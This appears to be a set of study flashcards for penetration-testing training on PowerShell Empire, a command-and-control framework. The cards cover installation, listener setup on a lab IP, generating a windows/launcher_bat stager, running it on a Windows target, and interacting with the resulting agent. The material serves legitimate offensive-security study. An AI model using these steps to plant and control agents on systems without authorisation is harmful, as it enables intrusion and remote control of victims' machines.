PowerShell Empire Flashcards
What is the name of the Github repository of Empire?
PowerShellEmpire
How do you install Empire?
- Clone Github repo
- cd Empire
- sudo ./setup/install.sh
- sudo ./Empire
How do you see a list of Empire listeners?
- (Empire) > listeners
- - (Empire: listeners) > uselistener
What are the available listeners in Empire?
- dbx
- http = most basic
- http_com
- http_foreign
- http_hop
- http_mapi
- meterpreter
- redirector = creates a pivot that enables communication with an internal network
How do you select the http listener and select a Host listener IP of 10.11.0.4?
- (Empire: listeners) > uselistener http
- (Empire: listeners) > set Host 10.11.0.4
- (Empire: listeners/http) > execute
If you are in a selected listener, how to you return to the main Listener Menu?
(Empire: listeners/http) > back
How can you list the available Stagers?
- ** Make sure you are in the Listener main menu ***
- - (Empire: listeners) > usestager
What are some support examples that Empire Stagers provide?
- DLLs
- HTML applications
- Microsoft Office Macros
How do you select the ‘windows/launcher_bat’ Stager for the HTTP Listener?
– (Empire: listeners) > usestager windows/launcher_bat
– Empire: stager/windows/launcher_bat) > set Listener http
– (Empire: stager/windows/launcher_bat) > execute
** Here is the output **
[] Stager output written out to: /tmp/launcher.bat
————————————–
** The Stager must then be copied to the target and executed
How can we examine what the ‘windows/launcher_bat’ Stager does?
– kali@kali:/opt/Empire$ cat /tmp/launcher.bat
What is an Empire ‘Agent’?
- the final payload retrieved by the Stager
- it allows us to execute commands and interact with the system
- the Stager deletes itself and exits once it finishes execution
What happens once the ‘Agent’ is operational on the target?
- the ‘Agent’ will set up an AES-encrypted communication channel with the listener using the data portion of the HTTP GET and POST requests
How do we get the ‘Agent’ operational on the target?
- We execute copy the Stager output to the target and execute it
- For example, launcher.bat
- C:\Users\Offsec\Documents> launcher.bat
Once the ‘Agent’ is operational, how do we view it in Empire?
(Empire: stager/windows/launcher_bat) > agents
Once the ‘Agent’ is operational, how do we interact with it in Empire?
(Empire: agents) > interact S2Y5XW1L